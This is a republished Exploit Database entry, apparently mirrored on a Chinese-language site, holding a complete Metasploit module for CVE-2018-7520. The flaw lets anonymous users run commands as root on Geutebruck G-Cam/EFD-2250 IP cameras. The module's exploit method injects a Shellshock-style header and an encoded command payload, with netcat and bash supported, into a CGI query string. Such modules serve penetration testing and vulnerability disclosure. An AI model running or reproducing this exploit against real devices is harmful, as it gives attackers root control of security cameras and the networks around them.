Geutebruck 5.02024 G-Cam/EFD-2250 – ‘simple_loglistjs.cgi’ Remote Command Execution (Metasploit)

• Exploit Database
• 16 阅读

• 作者： RandoriSec
  日期： 2018-07-02
• 类别：

  • webapps
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/44957/

• ##
  # This module requires Metasploit: http://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  
  class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking
  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'Geutebruck simple_loglistjs.cgi Remote Command Execution',
  'Description'=> %q{
  This module exploits a an arbitrary command execution vulnerability. The
  vulnerability exists in the /uapi-cgi/viewer/simple_loglistjs.cgi page and allows an
  anonymous user to execute arbitrary commands with root privileges.
  Firmware <= 1.12.0.19 are concerned.
  Tested on 5.02024 G-Cam/EFD-2250 running 1.12.0.4 firmware.
  },
  'Author' =>
  [
  'Nicolas Mattiocco', #CVE-2018-7520 (RCE)
  'Davy Douhine' #CVE-2018-7520 (RCE) and metasploit module
  ],
  'License'=> MSF_LICENSE,
  'References' =>
  [
  [ 'CVE', '2018-7520' ],
  [ 'URL', 'http://geutebruck.com' ],
  [ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-18-079-01' ]
  ],
  'Privileged' => false,
  'Payload'=>
  {
  'DisableNops' => true,
  'Space' => 1024,
  'Compat'=>
  {
  'PayloadType' => 'cmd',
  'RequiredCmd' => 'generic netcat bash',
  }
  },
  'Platform' => 'unix',
  'Arch' => ARCH_CMD,
  'Targets'=> [[ 'Automatic', { }]],
  'DefaultTarget'=> 0,
  'DisclosureDate' => 'Mar 20 2018'))
  
  register_options(
  [
  OptString.new('TARGETURI', [true, 'The base path to webapp', '/uapi-cgi/viewer/simple_loglistjs.cgi']),
  ], self.class)
  end
  
  def exploit
  header = "(){ :;}; "
  encpayload = "#{header}#{payload.encoded}"
  uri = target_uri.path + "?" + Rex::Text.uri_encode(encpayload, "hex-all")
  print_status("#{rhost}:#{rport} - Attempting to exploit...")
  res = send_request_raw(
  {
  'method' => 'GET',
  'uri'=> uri
  })
  end
  
  end